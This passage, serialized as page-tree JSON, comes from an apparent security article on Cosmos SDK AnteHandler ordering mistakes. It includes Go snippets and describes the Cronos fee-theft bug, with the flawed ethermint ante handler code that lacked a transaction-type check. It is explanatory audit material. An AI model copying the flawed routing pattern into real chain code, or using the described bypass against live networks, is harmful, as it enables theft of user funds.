children":85760},{"style":346},[85761],{"type":29,"value":852},{"type":24,"tag":327,"props":85763,"children":85764},{"class":329,"line":1176},[85765,85769,85774,85778,85783,85787,85792],{"type":24,"tag":327,"props":85766,"children":85767},{"style":425},[85768],{"type":29,"value":8861},{"type":24,"tag":327,"props":85770,"children":85771},{"style":356},[85772],{"type":29,"value":85773}," balance",{"type":24,"tag":327,"props":85775,"children":85776},{"style":346},[85777],{"type":29,"value":66},{"type":24,"tag":327,"props":85779,"children":85780},{"style":356},[85781],{"type":29,"value":85782},"Amount",{"type":24,"tag":327,"props":85784,"children":85785},{"style":381},[85786],{"type":29,"value":4927},{"type":24,"tag":327,"props":85788,"children":85789},{"style":356},[85790],{"type":29,"value":85791}," MIN_BALANCE",{"type":24,"tag":327,"props":85793,"children":85794},{"style":346},[85795],{"type":29,"value":497},{"type":24,"tag":327,"props":85797,"children":85798},{"class":329,"line":1184},[85799,85804,85808,85812,85816,85820,85824],{"type":24,"tag":327,"props":85800,"children":85801},{"style":425},[85802],{"type":29,"value":85803},"            return",{"type":24,"tag":327,"props":85805,"children":85806},{"style":356},[85807],{"type":29,"value":7301},{"type":24,"tag":327,"props":85809,"children":85810},{"style":346},[85811],{"type":29,"value":2744},{"type":24,"tag":327,"props":85813,"children":85814},{"style":356},[85815],{"type":29,"value":85564},{"type":24,"tag":327,"props":85817,"children":85818},{"style":346},[85819],{"type":29,"value":66},{"type":24,"tag":327,"props":85821,"children":85822},{"style":340},[85823],{"type":29,"value":85573},{"type":24,"tag":327,"props":85825,"children":85826},{"style":346},[85827],{"type":29,"value":4663},{"type":24,"tag":327,"props":85829,"children":85830},{"class":329,"line":1192},[85831,85836],{"type":24,"tag":327,"props":85832,"children":85833},{"style":356},[85834],{"type":29,"value":85835},"                ErrInsufficientBalance",{"type":24,"tag":327,"props":85837,"children":85838},{"style":346},[85839],{"type":29,"value":2231},{"type":24,"tag":327,"props":85841,"children":85842},{"class":329,"line":1212},[85843,85848],{"type":24,"tag":327,"props":85844,"children":85845},{"style":844},[85846],{"type":29,"value":85847},"                \"Insufficient Balance\"",{"type":24,"tag":327,"props":85849,"children":85850},{"style":346},[85851],{"type":29,"value":2231},{"type":24,"tag":327,"props":85853,"children":85854},{"class":329,"line":4841},[85855],{"type":24,"tag":327,"props":85856,"children":85857},{"style":346},[85858],{"type":29,"value":84242},{"type":24,"tag":327,"props":85860,"children":85861},{"class":329,"line":4862},[85862],{"type":24,"tag":327,"props":85863,"children":85864},{"style":346},[85865],{"type":29,"value":8989},{"type":24,"tag":327,"props":85867,"children":85868},{"class":329,"line":4870},[85869],{"type":24,"tag":327,"props":85870,"children":85871},{"style":346},[85872],{"type":29,"value":535},{"type":24,"tag":327,"props":85874,"children":85875},{"class":329,"line":4879},[85876],{"type":24,"tag":327,"props":85877,"children":85878},{"emptyLinePlaceholder":16},[85879],{"type":29,"value":544},{"type":24,"tag":327,"props":85881,"children":85882},{"class":329,"line":4913},[85883,85887,85892,85896,85900,85904,85909,85913,85918],{"type":24,"tag":327,"props":85884,"children":85885},{"style":425},[85886],{"type":29,"value":6023},{"type":24,"tag":327,"props":85888,"children":85889},{"style":340},[85890],{"type":29,"value":85891}," next",{"type":24,"tag":327,"props":85893,"children":85894},{"style":346},[85895],{"type":29,"value":349},{"type":24,"tag":327,"props":85897,"children":85898},{"style":356},[85899],{"type":29,"value":1631},{"type":24,"tag":327,"props":85901,"children":85902},{"style":346},[85903],{"type":29,"value":2744},{"type":24,"tag":327,"props":85905,"children":85906},{"style":356},[85907],{"type":29,"value":85908},"tx",{"type":24,"tag":327,"props":85910,"children":85911},{"style":346},[85912],{"type":29,"value":2744},{"type":24,"tag":327,"props":85914,"children":85915},{"style":356},[85916],{"type":29,"value":85917},"simulate",{"type":24,"tag":327,"props":85919,"children":85920},{"style":346},[85921],{"type":29,"value":852},{"type":24,"tag":327,"props":85923,"children":85924},{"class":329,"line":4938},[85925],{"type":24,"tag":327,"props":85926,"children":85927},{"style":346},[85928],{"type":29,"value":592},{"type":24,"tag":25,"props":85930,"children":85931},{},[85932,85934,85939,85941,85947,85949,85955],{"type":29,"value":85933},"Where should this custom ",{"type":24,"tag":284,"props":85935,"children":85937},{"className":85936},[],[85938],{"type":29,"value":85197},{"type":29,"value":85940}," be placed relative to other ",{"type":24,"tag":284,"props":85942,"children":85944},{"className":85943},[],[85945],{"type":29,"value":85946},"AnteHandlers",{"type":29,"value":85948}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":24,"tag":284,"props":85950,"children":85952},{"className":85951},[],[85953],{"type":29,"value":85954},"SetUpContextDecorator",{"type":29,"value":85956}," should work, right?",{"type":24,"tag":25,"props":85958,"children":85959},{},[85960],{"type":24,"tag":57,"props":85961,"children":85964},{"href":85962,"rel":85963},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[61],[85965],{"type":29,"value":83466},{"type":24,"tag":317,"props":85967,"children":85969},{"code":85968,"language":82891,"meta":7,"className":82892,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[85970],{"type":24,"tag":284,"props":85971,"children":85972},{"__ignoreMap":7},[85973,86006,86023,86031,86060,86072,86084,86113,86141,86220,86253,86281,86326,86371,86399],{"type":24,"tag":327,"props":85974,"children":85975},{"class":329,"line":330},[85976,85981,85985,85989,85993,85997,86002],{"type":24,"tag":327,"props":85977,"children":85978},{"style":356},[85979],{"type":29,"value":85980},"anteDecorators",{"type":24,"tag":327,"props":85982,"children":85983},{"style":381},[85984],{"type":29,"value":83143},{"type":24,"tag":327,"props":85986,"children":85987},{"style":346},[85988],{"type":29,"value":82954},{"type":24,"tag":327,"props":85990,"children":85991},{"style":1639},[85992],{"type":29,"value":85457},{"type":24,"tag":327,"props":85994,"children":85995},{"style":346},[85996],{"type":29,"value":66},{"type":24,"tag":327,"props":85998,"children":85999},{"style":1639},[86000],{"type":29,"value":86001},"AnteDecorator",{"type":24,"tag":327,"props":86003,"children":86004},{"style":346},[86005],{"type":29,"value":18427},{"type":24,"tag":327,"props":86007,"children":86008},{"class":329,"line":367},[86009,86014,86018],{"type":24,"tag":327,"props":86010,"children":86011},{"style":340},[86012],{"type":29,"value":86013},"    NewSetUpContextDecorator",{"type":24,"tag":327,"props":86015,"children":86016},{"style":346},[86017],{"type":29,"value":25885},{"type":24,"tag":327,"props":86019,"children":86020},{"style":551},[86021],{"type":29,"value":86022},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":24,"tag":327,"props":86024,"children":86025},{"class":329,"line":408},[86026],{"type":24,"tag":327,"props":86027,"children":86028},{"style":551},[86029],{"type":29,"value":86030},"    // INSERT HERE\n",{"type":24,"tag":327,"props":86032,"children":86033},{"class":329,"line":421},[86034,86039,86043,86047,86051,86056],{"type":24,"tag":327,"props":86035,"children":86036},{"style":340},[86037],{"type":29,"value":86038},"    NewExtensionOptionsDecorator",{"type":24,"tag":327,"props":86040,"children":86041},{"style":346},[86042],{"type":29,"value":349},{"type":24,"tag":327,"props":86044,"children":86045},{"style":356},[86046],{"type":29,"value":42751},{"type":24,"tag":327,"props":86048,"children":86049},{"style":346},[86050],{"type":29,"value":66},{"type":24,"tag":327,"props":86052,"children":86053},{"style":356},[86054],{"type":29,"value":86055},"ExtensionOptionChecker",{"type":24,"tag":327,"props":86057,"children":86058},{"style":346},[86059],{"type":29,"value":9212},{"type":24,"tag":327,"props":86061,"children":86062},{"class":329,"line":450},[86063,86068],{"type":24,"tag":327,"props":86064,"children":86065},{"style":340},[86066],{"type":29,"value":86067},"    NewValidateBasicDecorator",{"type":24,"tag":327,"props":86069,"children":86070},{"style":346},[86071],{"type":29,"value":5357},{"type":24,"tag":327,"props":86073,"children":86074},{"class":329,"line":481},[86075,86080],{"type":24,"tag":327,"props":86076,"children":86077},{"style":340},[86078],{"type":29,"value":86079},"    NewTxTimeoutHeightDecorator",{"type":24,"tag":327,"props":86081,"children":86082},{"style":346},[86083],{"type":29,"value":5357},{"type":24,"tag":327,"props":86085,"children":86086},{"class":329,"line":500},[86087,86092,86096,86100,86104,86109],{"type":24,"tag":327,"props":86088,"children":86089},{"style":340},[86090],{"type":29,"value":86091},"    NewValidateMemoDecorator",{"type":24,"tag":327,"props":86093,"children":86094},{"style":346},[86095],{"type":29,"value":349},{"type":24,"tag":327,"props":86097,"children":86098},{"style":356},[86099],{"type":29,"value":42751},{"type":24,"tag":327,"props":86101,"children":86102},{"style":346},[86103],{"type":29,"value":66},{"type":24,"tag":327,"props":86105,"children":86106},{"style":356},[86107],{"type":29,"value":86108},"AccountKeeper",{"type":24,"tag":327,"props":86110,"children":86111},{"style":346},[86112],{"type":29,"value":9212},{"type":24,"tag":327,"props":86114,"children":86115},{"class":329,"line":529},[86116,86121,86125,86129,86133,86137],{"type":24,"tag":327,"props":86117,"children":86118},{"style":340},[86119],{"type":29,"value":86120},"    NewConsumeGasForTxSizeDecorator",{"type":24,"tag":327,"props":86122,"children":86123},{"style":346},[86124],{"type":29,"value":349},{"type":24,"tag":327,"props":86126,"children":86127},{"style":356},[86128],{"type":29,"value":42751},{"type":24,"tag":327,"props":86130,"children":86131},{"style":346},[86132],{"type":29,"value":66},{"type":24,"tag":327,"props":86134,"children":86135},{"style":356},[86136],{"type":29,"value":86108},{"type":24,"tag":327,"props":86138,"children":86139},{"style":346},[86140],{"type":29,"value":9212},{"type":24,"tag":327,"props":86142,"children":86143},{"class":329,"line":538},[86144,86149,86153,86157,86161,86165,86169,86173,86177,86182,86186,86190,86194,86199,86203,86207,86211,86216],{"type":24,"tag":327,"props":86145,"children":86146},{"style":340},[86147],{"type":29,"value":86148},"    NewDeductFeeDecorator",{"type":24,"tag":327,"props":86150,"children":86151},{"style":346},[86152],{"type":29,"value":349},{"type":24,"tag":327,"props":86154,"children":86155},{"style":356},[86156],{"type":29,"value":42751},{"type":24,"tag":327,"props":86158,"children":86159},{"style":346},[86160],{"type":29,"value":66},{"type":24,"tag":327,"props":86162,"children":86163},{"style":356},[86164],{"type":29,"value":86108},{"type":24,"tag":327,"props":86166,"children":86167},{"style":346},[86168],{"type":29,"value":2744},{"type":24,"tag":327,"props":86170,"children":86171},{"style":356},[86172],{"type":29,"value":42751},{"type":24,"tag":327,"props":86174,"children":86175},{"style":346},[86176],{"type":29,"value":66},{"type":24,"tag":327,"props":86178,"children":86179},{"style":356},[86180],{"type":29,"value":86181},"BankKeeper",{"type":24,"tag":327,"props":86183,"children":86184},{"style":346},[86185],{"type":29,"value":2744},{"type":24,"tag":327,"props":86187,"children":86188},{"style":356},[86189],{"type":29,"value":42751},{"type":24,"tag":327,"props":86191,"children":86192},{"style":346},[86193],{"type":29,"value":66},{"type":24,"tag":327,"props":86195,"children":86196},{"style":356},[86197],{"type":29,"value":86198},"FeegrantKeeper",{"type":24,"tag":327,"props":86200,"children":86201},{"style":346},[86202],{"type":29,"value":2744},{"type":24,"tag":327,"props":86204,"children":86205},{"style":356},[86206],{"type":29,"value":42751},{"type":24,"tag":327,"props":86208,"children":86209},{"style":346},[86210],{"type":29,"value":66},{"type":24,"tag":327,"props":86212,"children":86213},{"style":356},[86214],{"type":29,"value":86215},"TxFeeChecker",{"type":24,"tag":327,"props":86217,"children":86218},{"style":346},[86219],{"type":29,"value":9212},{"type":24,"tag":327,"props":86221,"children":86222},{"class":329,"line":547},[86223,86228,86232,86236,86240,86244,86248],{"type":24,"tag":327,"props":86224,"children":86225},{"style":340},[86226],{"type":29,"value":86227},"    NewSetPubKeyDecorator",{"type":24,"tag":327,"props":86229,"children":86230},{"style":346},[86231],{"type":29,"value":349},{"type":24,"tag":327,"props":86233,"children":86234},{"style":356},[86235],{"type":29,"value":42751},{"type":24,"tag":327,"props":86237,"children":86238},{"style":346},[86239],{"type":29,"value":66},{"type":24,"tag":327,"props":86241,"children":86242},{"style":356},[86243],{"type":29,"value":86108},{"type":24,"tag":327,"props":86245,"children":86246},{"style":346},[86247],{"type":29,"value":22701},{"type":24,"tag":327,"props":86249,"children":86250},{"style":551},[86251],{"type":29,"value":86252},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":24,"tag":327,"props":86254,"children":86255},{"class":329,"line":557},[86256,86261,86265,86269,86273,86277],{"type":24,"tag":327,"props":86257,"children":86258},{"style":340},[86259],{"type":29,"value":86260},"    NewValidateSigCountDecorator",{"type":24,"tag":327,"props":86262,"children":86263},{"style":346},[86264],{"type":29,"value":349},{"type":24,"tag":327,"props":86266,"children":86267},{"style":356},[86268],{"type":29,"value":42751},{"type":24,"tag":327,"props":86270,"children":86271},{"style":346},[86272],{"type":29,"value":66},{"type":24,"tag":327,"props":86274,"children":86275},{"style":356},[86276],{"type":29,"value":86108},{"type":24,"tag":327,"props":86278,"children":86279},{"style":346},[86280],{"type":29,"value":9212},{"type":24,"tag":327,"props":86282,"children":86283},{"class":329,"line":586},[86284,86289,86293,86297,86301,86305,86309,86313,86317,86322],{"type":24,"tag":327,"props":86285,"children":86286},{"style":340},[86287],{"type":29,"value":86288},"    NewSigGasConsumeDecorator",{"type":24,"tag":327,"props":86290,"children":86291},{"style":346},[86292],{"type":29,"value":349},{"type":24,"tag":327,"props":86294,"children":86295},{"style":356},[86296],{"type":29,"value":42751},{"type":24,"tag":327,"props":86298,"children":86299},{"style":346},[86300],{"type":29,"value":66},{"type":24,"tag":327,"props":86302,"children":86303},{"style":356},[86304],{"type":29,"value":86108},{"type":24,"tag":327,"props":86306,"children":86307},{"style":346},[86308],{"type":29,"value":2744},{"type":24,"tag":327,"props":86310,"children":86311},{"style":356},[86312],{"type":29,"value":42751},{"type":24,"tag":327,"props":86314,"children":86315},{"style":346},[86316],{"type":29,"value":66},{"type":24,"tag":327,"props":86318,"children":86319},{"style":356},[86320],{"type":29,"value":86321},"SigGasConsumer",{"type":24,"tag":327,"props":86323,"children":86324},{"style":346},[86325],{"type":29,"value":9212},{"type":24,"tag":327,"props":86327,"children":86328},{"class":329,"line":1017},[86329,86334,86338,86342,86346,86350,86354,86358,86362,86367],{"type":24,"tag":327,"props":86330,"children":86331},{"style":340},[86332],{"type":29,"value":86333},"    NewSigVerificationDecorator",{"type":24,"tag":327,"props":86335,"children":86336},{"style":346},[86337],{"type":29,"value":349},{"type":24,"tag":327,"props":86339,"children":86340},{"style":356},[86341],{"type":29,"value":42751},{"type":24,"tag":327,"props":86343,"children":86344},{"style":346},[86345],{"type":29,"value":66},{"type":24,"tag":327,"props":86347,"children":86348},{"style":356},[86349],{"type":29,"value":86108},{"type":24,"tag":327,"props":86351,"children":86352},{"style":346},[86353],{"type":29,"value":2744},{"type":24,"tag":327,"props":86355,"children":86356},{"style":356},[86357],{"type":29,"value":42751},{"type":24,"tag":327,"props":86359,"children":86360},{"style":346},[86361],{"type":29,"value":66},{"type":24,"tag":327,"props":86363,"children":86364},{"style":356},[86365],{"type":29,"value":86366},"SignModeHandler",{"type":24,"tag":327,"props":86368,"children":86369},{"style":346},[86370],{"type":29,"value":9212},{"type":24,"tag":327,"props":86372,"children":86373},{"class":329,"line":1026},[86374,86379,86383,86387,86391,86395],{"type":24,"tag":327,"props":86375,"children":86376},{"style":340},[86377],{"type":29,"value":86378},"    NewIncrementSequenceDecorator",{"type":24,"tag":327,"props":86380,"children":86381},{"style":346},[86382],{"type":29,"value":349},{"type":24,"tag":327,"props":86384,"children":86385},{"style":356},[86386],{"type":29,"value":42751},{"type":24,"tag":327,"props":86388,"children":86389},{"style":346},[86390],{"type":29,"value":66},{"type":24,"tag":327,"props":86392,"children":86393},{"style":356},[86394],{"type":29,"value":86108},{"type":24,"tag":327,"props":86396,"children":86397},{"style":346},[86398],{"type":29,"value":9212},{"type":24,"tag":327,"props":86400,"children":86401},{"class":329,"line":1048},[86402],{"type":24,"tag":327,"props":86403,"children":86404},{"style":346},[86405],{"type":29,"value":592},{"type":24,"tag":25,"props":86407,"children":86408},{},[86409,86411,86416,86418,86424,86425,86431],{"type":29,"value":86410},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":24,"tag":284,"props":86412,"children":86414},{"className":86413},[],[86415],{"type":29,"value":85946},{"type":29,"value":86417},", such as ",{"type":24,"tag":284,"props":86419,"children":86421},{"className":86420},[],[86422],{"type":29,"value":86423},"SigGasConsumeDecorator",{"type":29,"value":1323},{"type":24,"tag":284,"props":86426,"children":86428},{"className":86427},[],[86429],{"type":29,"value":86430},"ConsumeGasForTxSizeDecorator",{"type":29,"value":86432},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":24,"tag":25,"props":86434,"children":86435},{},[86436,86438,86444,86446,86451],{"type":29,"value":86437},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":24,"tag":284,"props":86439,"children":86441},{"className":86440},[],[86442],{"type":29,"value":86443},"msgs",{"type":29,"value":86445}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":24,"tag":284,"props":86447,"children":86449},{"className":86448},[],[86450],{"type":29,"value":85272},{"type":29,"value":86452}," chain.",{"type":24,"tag":235,"props":86454,"children":86456},{"id":86455},"real-world-examples-2",[86457],{"type":29,"value":83416},{"type":24,"tag":25,"props":86459,"children":86460},{},[86461,86463,86468,86470,86477],{"type":29,"value":86462},"An instance of ",{"type":24,"tag":284,"props":86464,"children":86466},{"className":86465},[],[86467],{"type":29,"value":85197},{"type":29,"value":86469}," misuse is a ",{"type":24,"tag":57,"props":86471,"children":86474},{"href":86472,"rel":86473},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[61],[86475],{"type":29,"value":86476},"Theft of Fund bug",{"type":29,"value":86478}," that was exploited in a Cronos contract.",{"type":24,"tag":25,"props":86480,"children":86481},{},[86482,86484,86489,86491,86496,86498,86504,86506,86512,86514,86519,86521,86526],{"type":29,"value":86483},"In this scenario, ",{"type":24,"tag":284,"props":86485,"children":86487},{"className":86486},[],[86488],{"type":29,"value":86443},{"type":29,"value":86490}," are multiplexed to different ",{"type":24,"tag":284,"props":86492,"children":86494},{"className":86493},[],[86495],{"type":29,"value":85197},{"type":29,"value":86497}," sets through the user-controlled ",{"type":24,"tag":284,"props":86499,"children":86501},{"className":86500},[],[86502],{"type":29,"value":86503},"ExtensionOptionsEthereumTx",{"type":29,"value":86505}," option. However, due to a lack of tx validation, if a ",{"type":24,"tag":284,"props":86507,"children":86509},{"className":86508},[],[86510],{"type":29,"value":86511},"MsgEthereumTx",{"type":29,"value":86513}," does not have ",{"type":24,"tag":284,"props":86515,"children":86517},{"className":86516},[],[86518],{"type":29,"value":86503},{"type":29,"value":86520}," specified, it will be routed to non-Ethereum ",{"type":24,"tag":284,"props":86522,"children":86524},{"className":86523},[],[86525],{"type":29,"value":85946},{"type":29,"value":86527},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":24,"tag":25,"props":86529,"children":86530},{},[86531],{"type":24,"tag":57,"props":86532,"children":86535},{"href":86533,"rel":86534},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[61],[86536],{"type":29,"value":83466},{"type":24,"tag":317,"props":86538,"children":86540},{"code":86539,"language":82891,"meta":7,"className":82892,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[86541],{"type":24,"tag":284,"props":86542,"children":86543},{"__ignoreMap":7},[86544,86560,86585,86609,86626,86651,86677,86702,86725,86741,86797,86838,86864,86871,86917,86924,86970,86986,87016,87051,87103,87120,87128,87135,87164,87180,87188,87214,87222,87229,87241,87275,87321,87333,87340,87347,87354,87393,87400,87407,87414,87422,87429,87453,87477,87505,87530,87538,87571,87578,87590,87621,87676,87689,87697,87705,87713,87753,87761],{"type":24,"tag":327,"props":86545,"children":86546},{"class":329,"line":330},[86547,86551,86556],{"type":24,"tag":327,"props":86548,"children":86549},{"style":334},[86550],{"type":29,"value":83027},{"type":24,"tag":327,"props":86552,"children":86553},{"style":340},[86554],{"type":29,"value":86555}," NewAnteHandler",{"type":24,"tag":327,"props":86557,"children":86558},{"style":346},[86559],{"type":29,"value":4663},{"type":24,"tag":327,"props":86561,"children":86562},{"class":329,"line":367},[86563,86568,86573,86577,86581],{"type":24,"tag":327,"props":86564,"children":86565},{"style":356},[86566],{"type":29,"value":86567},"    ak",{"type":24,"tag":327,"props":86569,"children":86570},{"style":1639},[86571],{"type":29,"value":86572}," evmtypes",{"type":24,"tag":327,"props":86574,"children":86575},{"style":346},[86576],{"type":29,"value":66},{"type":24,"tag":327,"props":86578,"children":86579},{"style":1639},[86580],{"type":29,"value":86108},{"type":24,"tag":327,"props":86582,"children":86583},{"style":346},[86584],{"type":29,"value":2231},{"type":24,"tag":327,"props":86586,"children":86587},{"class":329,"line":408},[86588,86593,86597,86601,86605],{"type":24,"tag":327,"props":86589,"children":86590},{"style":356},[86591],{"type":29,"value":86592},"    bankKeeper",{"type":24,"tag":327,"props":86594,"children":86595},{"style":1639},[86596],{"type":29,"value":86572},{"type":24,"tag":327,"props":86598,"children":86599},{"style":346},[86600],{"type":29,"value":66},{"type":24,"tag":327,"props":86602,"children":86603},{"style":1639},[86604],{"type":29,"value":86181},{"type":24,"tag":327,"props":86606,"children":86607},{"style":346},[86608],{"type":29,"value":2231},{"type":24,"tag":327,"props":86610,"children":86611},{"class":329,"line":421},[86612,86617,86622],{"type":24,"tag":327,"props":86613,"children":86614},{"style":356},[86615],{"type":29,"value":86616},"    evmKeeper",{"type":24,"tag":327,"props":86618,"children":86619},{"style":1639},[86620],{"type":29,"value":86621}," EVMKeeper",{"type":24,"tag":327,"props":86623,"children":86624},{"style":346},[86625],{"type":29,"value":2231},{"type":24,"tag":327,"props":86627,"children":86628},{"class":329,"line":450},[86629,86634,86639,86643,86647],{"type":24,"tag":327,"props":86630,"children":86631},{"style":356},[86632],{"type":29,"value":86633},"    feeGrantKeeper",{"type":24,"tag":327,"props":86635,"children":86636},{"style":1639},[86637],{"type":29,"value":86638}," authante",{"type":24,"tag":327,"props":86640,"children":86641},{"style":346},[86642],{"type":29,"value":66},{"type":24,"tag":327,"props":86644,"children":86645},{"style":1639},[86646],{"type":29,"value":86198},{"type":24,"tag":327,"props":86648,"children":86649},{"style":346},[86650],{"type":29,"value":2231},{"type":24,"tag":327,"props":86652,"children":86653},{"class":329,"line":481},[86654,86659,86664,86668,86673],{"type":24,"tag":327,"props":86655,"children":86656},{"style":356},[86657],{"type":29,"value":86658},"    channelKeeper",{"type":24,"tag":327,"props":86660,"children":86661},{"style":1639},[86662],{"type":29,"value":86663}," channelkeeper",{"type":24,"tag":327,"props":86665,"children":86666},{"style":346},[86667],{"type":29,"value":66},{"type":24,"tag":327,"props":86669,"children":86670},{"style":1639},[86671],{"type":29,"value":86672},"Keeper",{"type":24,"tag":327,"props":86674,"children":86675},{"style":346},[86676],{"type":29,"value":2231},{"type":24,"tag":327,"props":86678,"children":86679},{"class":329,"line":500},[86680,86685,86690,86694,86698],{"type":24,"tag":327,"props":86681,"children":86682},{"style":356},[86683],{"type":29,"value":86684},"    signModeHandler",{"type":24,"tag":327,"props":86686,"children":86687},{"style":1639},[86688],{"type":29,"value":86689}," authsigning",{"type":24,"tag":327,"props":86691,"children":86692},{"style":346},[86693],{"type":29,"value":66},{"type":24,"tag":327,"props":86695,"children":86696},{"style":1639},[86697],{"type":29,"value":86366},{"type":24,"tag":327,"props":86699,"children":86700},{"style":346},[86701],{"type":29,"value":2231},{"type":24,"tag":327,"props":86703,"children":86704},{"class":329,"line":529},[86705,86709,86713,86717,86721],{"type":24,"tag":327,"props":86706,"children":86707},{"style":346},[86708],{"type":29,"value":1674},{"type":24,"tag":327,"props":86710,"children":86711},{"style":1639},[86712],{"type":29,"value":85457},{"type":24,"tag":327,"props":86714,"children":86715},{"style":346},[86716],{"type":29,"value":66},{"type":24,"tag":327,"props":86718,"children":86719},{"style":1639},[86720],{"type":29,"value":85197},{"type":24,"tag":327,"props":86722,"children":86723},{"style":346},[86724],{"type":29,"value":497},{"type":24,"tag":327,"props":86726,"children":86727},{"class":329,"line":538},[86728,86732,86737],{"type":24,"tag":327,"props":86729,"children":86730},{"style":425},[86731],{"type":29,"value":6023},{"type":24,"tag":327,"props":86733,"children":86734},{"style":334},[86735],{"type":29,"value":86736}," func",{"type":24,"tag":327,"props":86738,"children":86739},{"style":346},[86740],{"type":29,"value":4663},{"type":24,"tag":327,"props":86742,"children":86743},{"class":329,"line":547},[86744,86748,86752,86756,86760,86764,86768,86772,86776,86780,86784,86789,86793],{"type":24,"tag":327,"props":86745,"children":86746},{"style":356},[86747],{"type":29,"value":7649},{"type":24,"tag":327,"props":86749,"children":86750},{"style":1639},[86751],{"type":29,"value":85368},{"type":24,"tag":327,"props":86753,"children":86754},{"style":346},[86755],{"type":29,"value":66},{"type":24,"tag":327,"props":86757,"children":86758},{"style":1639},[86759],{"type":29,"value":83076},{"type":24,"tag":327,"props":86761,"children":86762},{"style":346},[86763],{"type":29,"value":2744},{"type":24,"tag":327,"props":86765,"children":86766},{"style":356},[86767],{"type":29,"value":85908},{"type":24,"tag":327,"props":86769,"children":86770},{"style":1639},[86771],{"type":29,"value":85368},{"type":24,"tag":327,"props":86773,"children":86774},{"style":346},[86775],{"type":29,"value":66},{"type":24,"tag":327,"props":86777,"children":86778},{"style":1639},[86779],{"type":29,"value":85401},{"type":24,"tag":327,"props":86781,"children":86782},{"style":346},[86783],{"type":29,"value":2744},{"type":24,"tag":327,"props":86785,"children":86786},{"style":356},[86787],{"type":29,"value":86788},"sim",{"type":24,"tag":327,"props":86790,"children":86791},{"style":1639},[86792],{"type":29,"value":1935},{"type":24,"tag":327,"props":86794,"children":86795},{"style":346},[86796],{"type":29,"value":2231},{"type":24,"tag":327,"props":86798,"children":86799},{"class":329,"line":557},[86800,86805,86810,86814,86818,86822,86826,86830,86834],{"type":24,"tag":327,"props":86801,"children":86802},{"style":346},[86803],{"type":29,"value":86804},"    ) 